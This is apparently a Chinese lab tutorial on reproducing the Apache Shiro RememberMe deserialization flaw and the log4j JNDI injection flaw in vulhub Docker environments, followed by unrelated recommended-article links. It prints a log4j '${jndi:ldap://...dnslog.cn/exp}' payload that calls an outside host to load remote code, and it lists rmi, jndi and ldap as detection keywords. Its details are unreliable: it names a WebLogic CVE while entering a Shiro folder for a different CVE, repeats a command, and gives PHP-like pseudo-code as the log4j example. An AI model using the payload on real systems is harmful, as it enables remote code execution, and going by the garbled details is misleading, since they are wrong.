shiro反序列化和log4j

文章目录

安装环境

进入vulhb目录下的weblogic,复现CVE-2018-2894漏洞:

复制代码
cd /vulhub/shiro/CVE-2010-3863

查看docker-compose的配置文件:

复制代码
cat docker-compose.yml

如图,里面有一个镜像文件的信息和服务名,以及它的端口号(后面要用):

然后使用下面命令,搭建docker-compose并启动:

复制代码
sudo docker-compose up -d && sudo docker-compose up -d

如图,安装成功:

shiro漏洞验证

原理如下

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

用bp自带的浏览器打开http://10.9.75.45:8080/,随意输入用户名密码并勾选记住我

点击登录后抓包,发送到repeat模块,发现请求包中有rememberme字段:

点击send发送,响应包中有set-cookie字段,并有rememberMe=deleteMe内容,这是一个shiro反序列化漏洞的强特征,说明有极大的可能存在shiro反序列化:

log4j

log4j(log for Java)是Apache的一个开源项目,是一个基于Java的日志记录框架。该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。

它是一个RCE命令执行的漏洞,它的日志的输出如下:print函数双引号中的内容会被当做字符处理

复制代码
$user=$_GET("user");
log.print("用户$user登录失败");

如果print函数中出现如${jndi:ldap://lof4ot.dnslog.cn/exp}的内容,就会将大括号中的内容当做命令执行

如果流量中遇到下面三个关键字,极大可能是Java的漏洞攻击:

rmi、jndi、ldap

相关推荐
2601_964702895 天前
Claude Opus 5 API 新手指南:从零搭建第一个 AI 应用
人工智能·log4j
测试修炼手册8 天前
[测试技术] TestNG 入门与实战:分组、数据驱动与并行执行
junit·单元测试·log4j
在水一缸9 天前
深入浅出 Catch2:现代 C++ 测试框架的优雅实践
开发语言·c++·单元测试·log4j·测试框架·catch2
风向决定发型d78212 天前
Github Copilot 实战应用与效能提升指南
log4j·github·copilot
AI大模型-小雄16 天前
充值Codex + GPT-5.5 并发 Bug 调试实战:从时序分析到回归测试
gpt·log4j·bug
JustNow_Man17 天前
【OpenSpec】/opsx:archive 的作用是什么解析
log4j
星释18 天前
鸿蒙智能体开发实战:27.Skill 测试、发布与管理
ui·华为·log4j·harmonyos·鸿蒙·智能体
充钱大佬18 天前
Python测试基础教程
python·log4j·apache
xiaoshuaishuai818 天前
C# AI实现PR处理、单元测试
开发语言·c#·log4j
醉熏的斑马20 天前
ASP.Net MVC3 】使用Moq让单元测试变得更简单
单元测试·log4j·asp.net